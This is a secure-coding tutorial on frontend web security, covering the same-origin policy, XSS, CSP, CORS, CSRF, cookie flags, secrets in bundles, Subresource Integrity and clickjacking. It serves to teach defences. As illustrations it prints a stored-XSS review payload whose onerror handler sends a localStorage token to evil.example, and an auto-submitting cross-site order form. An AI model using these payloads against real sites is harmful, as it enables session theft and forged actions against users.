Frontend security
The browser keeps sites apart with the same-origin policy, and most frontend attacks try to get around it. XSS runs the attacker's script inside your page, CSRF makes the user's browser send a request they did not want, and clickjacking hides your page inside another one. Escape output, use a Content Security Policy, keep session cookies HttpOnly, Secure and SameSite, and never put secrets in frontend code.
Author: bezzad
Contents
The problem: one product review
Our online shop lets users write reviews. The product page shows them like this:
const list = document.querySelector('#reviews')!;
for (const review of reviews) {
list.innerHTML += `<li>${review.text}</li>`;
}
One day a “review” contains this text:
Great mug! <img src="x" onerror="fetch('https://evil.example/?t=' + localStorage.token)">
- The image fails to load, so the onerror code runs.
- The code runs inside our page, with all the rights our own code has.
- It reads the login token from localStorage and sends it to the attacker.
- Every visitor who opens this product page loses their session.
This is XSS (Cross-Site Scripting). To understand why it is so bad, we first need the main rule of browser security.
The same-origin policy
An origin is three things together: the scheme, the host and the port.
| Address | Same origin as https://shop.example? |
|---|---|
| https://shop.example/cart | Yes. Only the path is different. |
| http://shop.example | No. The scheme is different. |
| https://api.shop.example | No. The host is different. |
| https://shop.example:8443 | No. The port is different. |
The same-origin policy says: a script from one origin cannot read data from another origin. A page on evil.example cannot read your shop cookies, your page content or the responses of your API.
Note what it does not stop:
- Sending requests. A page can still send a form, load an image or call fetch to another origin. The browser only stops the page from reading the response.
- Code that runs inside your origin. If an attacker’s script runs in your page, the browser sees it as your own code. That is why XSS is so dangerous: it skips the whole policy.
XSS: three kinds
- Stored XSS. The bad input is saved on the server, like our review, and shown to many users.
- Reflected XSS. The bad input is in the request, for example in a search link, and the server puts it right back into the page. The attacker sends the link to victims.
- DOM-based XSS. The server is not involved. Frontend code takes a value, for example from the URL, and writes it into the page as HTML.
// DOM-based XSS: the search term from the URL becomes HTML
const term = new URLSearchParams(location.search).get('q') ?? '';
document.querySelector('#title')!.innerHTML = `Results for ${term}`;
The fix is simple: treat user data as text, not as HTML.
// Safe: textContent never parses HTML
document.querySelector('#title')!.textContent = `Results for ${term}`;
Frameworks help, but have escape hatches
React, Vue and Angular escape values in templates by default. A review with an image tag is shown as plain text. Each framework still has a way to insert raw HTML:
| Framework | Safe by default | Escape hatch (dangerous) |
|---|---|---|
| React | Values in JSX are escaped | The dangerouslySetInnerHTML prop |
| Vue | Double-brace interpolation is escaped | The v-html directive |
| Angular | Interpolation is escaped; innerHTML binding is sanitized | The bypassSecurityTrust methods of DomSanitizer |
- Search for these escape hatches in code review. Each one needs a good reason.
- Check links too. A user-given URL in an href can start with javascript. Allow only http and https.
When you really need HTML
Sometimes the shop must show HTML, for example product descriptions written in a rich text editor. Then clean it with a well-tested library like DOMPurify. Do not write your own filter with regular expressions; attackers know many tricks.
import DOMPurify from 'dompurify';
// Removes scripts, event handlers and other dangerous parts.
const safeHtml = DOMPurify.sanitize(product.descriptionHtml);
document.querySelector('#description')!.innerHTML = safeHtml;
Content Security Policy
A Content Security Policy (CSP) is an HTTP header. It tells the browser which sources of scripts, styles and other content are allowed. It is a second wall: if an XSS bug slips through, the injected script often cannot run.
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-r4nd0m'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'
- The script-src part allows scripts only from our own origin, and inline scripts only if they have the right nonce. The nonce must be a new random value for every response.
- Inline event handlers, like the onerror in our review, are blocked by this policy.
- Start with the Content-Security-Policy-Report-Only header. It reports what would be blocked without blocking it. Fix the reports, then switch to the real header.
CSP does not replace escaping. It reduces the damage when escaping fails.
CORS: relaxing the same-origin policy
Our shop page runs on https://shop.example and calls the API on https://api.shop.example. These are different origins, so by default the page cannot read the API responses. CORS (Cross-Origin Resource Sharing) lets the server say which other origins may read its responses.
Access-Control-Allow-Origin: https://shop.example
Access-Control-Allow-Credentials: true
- CORS is a server setting. You cannot fix a CORS error in frontend code. The API must send the right headers.
- CORS relaxes the policy, it does not protect the server. It only tells the browser when it may give a response to a script. Tools like curl ignore it, and a simple request still reaches the server.
- The wildcard value (a star) cannot be used with credentials. If the request sends cookies, the server must name the exact origin and send Access-Control-Allow-Credentials with the value true.
- Some requests send a preflight first. For example a request with a JSON content type, a custom header or the DELETE method. The browser first sends an OPTIONS request and asks if the real request is allowed.
CSRF and SameSite cookies
CSRF (Cross-Site Request Forgery) uses the fact that the browser attaches cookies to requests. A user is logged in to our shop. Then they visit an evil page, which has a hidden form:
<form action="https://shop.example/api/orders" method="POST">
<input type="hidden" name="productId" value="p42">
<input type="hidden" name="address" value="attacker address">
</form>
<script>document.forms[0].submit();</script>
The attacker cannot read the response, but they do not need to. The order is already placed, with the user’s session cookie.
The SameSite cookie attribute controls this:
| Value | Cookie sent on requests from other sites? |
|---|---|
| Strict | Never. Even a normal link from another site arrives without the cookie. |
| Lax | Only on top-level navigation, like clicking a link (GET). Not on cross-site POST, fetch or images. |
| None | Always. The cookie must also have the Secure attribute. |
- Set SameSite yourself. Chrome and other Chromium-based browsers treat a cookie with no SameSite attribute as Lax. Not all browsers do this, so do not depend on the default.
- Do not change data with GET requests. Lax still sends cookies on top-level GET navigation.
- For important actions, add a CSRF token or check the Origin header on the server. Many backend frameworks have this built in.
- “Site” is wider than “origin”. Two subdomains of shop.example are the same site, so SameSite does not protect against a page on another subdomain of yours.
Safe cookies and where to keep tokens
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/
- HttpOnly means scripts cannot read the cookie. The document cookie property does not show it.
- Secure means the cookie is only sent over HTTPS.
- SameSite limits cross-site requests, as above.
Token in localStorage
- Any script on the page can read it
- One XSS bug, and the token is sent to the attacker
- The attacker can use it from their own machine, later
Session in an HttpOnly cookie
- Scripts cannot read it
- XSS can still send requests from the open page, but cannot steal the cookie
- Needs SameSite and CSRF protection, because the browser sends it automatically
An HttpOnly cookie does not make XSS harmless. It only stops the attacker from taking the session away with them. Fixing XSS is still the first job.
Secrets in frontend code are public
Everything you ship to the browser can be read by anyone. Minifying does not hide it. With Vite, every environment variable with the VITE prefix that your code uses is put into the bundle.
- Never put a private API key, payment secret or database password in frontend code.
- Call your own backend, and let the backend use the secret.
- Public keys are fine when the provider says they are made to be public, for example a payment form’s publishable key.
Third-party scripts and Subresource Integrity
Every third-party script, like a chat widget or analytics, runs with the full rights of your page. If its server is hacked, your shop is hacked too.
<script src="https://cdn.example.com/carousel@2.1.0/carousel.min.js"
integrity="sha384-...hash of the exact file..."
crossorigin="anonymous"></script>
- Load fewer third-party scripts. Each one is a risk and a performance cost.
- Use Subresource Integrity (the integrity attribute) for files with a fixed version. The browser checks the hash and refuses the file if it changed.
- Integrity does not work for scripts that change all the time, like many analytics tags. For those, trust the provider and limit them with your CSP.
Clickjacking
An evil page loads our checkout page in an invisible iframe, on top of a “Win a prize” button. The user thinks they click the prize, but they click “Place order”.
Content-Security-Policy: frame-ancestors 'none'
- The frame-ancestors part of CSP says which sites may put your page in a frame. The value none means nobody; the value self means only your own origin.
- The older X-Frame-Options header (with DENY or SAMEORIGIN) does a similar job. Some sites send both for older browsers.
Common mistakes
| Mistake | Result | The right way |
|---|---|---|
| User input in innerHTML | XSS | Use textContent, or sanitize with DOMPurify |
| dangerouslySetInnerHTML or v-html with user data | XSS inside a framework | Avoid it, or sanitize first |
| Login token in localStorage | One XSS bug steals every session | Session in an HttpOnly, Secure, SameSite cookie |
| “Fixing” CORS in the frontend | Nothing changes | Set the CORS headers on the server |
| Thinking CORS protects the API | The API is open to curl and other sites’ forms | Use authentication, CSRF protection and server checks |
| Wildcard origin with credentials | The browser rejects the response | Name the exact origin |
| GET requests that change data | CSRF even with SameSite Lax | Use POST, PUT or DELETE for changes |
| API secret in the bundle | Anyone can copy it | Keep secrets on the server |
| Third-party script without a review | Their breach is your breach | Fewer scripts, SRI, a strict CSP |
Summary in seven lines
- The same-origin policy stops scripts from reading data from other origins. It does not stop requests from being sent.
- XSS runs the attacker’s code inside your origin. Treat user data as text, and be careful with every escape hatch.
- When you must show HTML, sanitize it with a library like DOMPurify. Add a CSP as a second wall.
- CORS is a server setting that relaxes the same-origin policy for reading responses. It does not protect the server.
- CSRF uses cookies the browser sends automatically. Set SameSite yourself and use CSRF tokens for important actions.
- Keep sessions in HttpOnly, Secure cookies, not in localStorage. Secrets in frontend code are public.
- Limit third-party scripts, use Subresource Integrity, and block framing with frame-ancestors.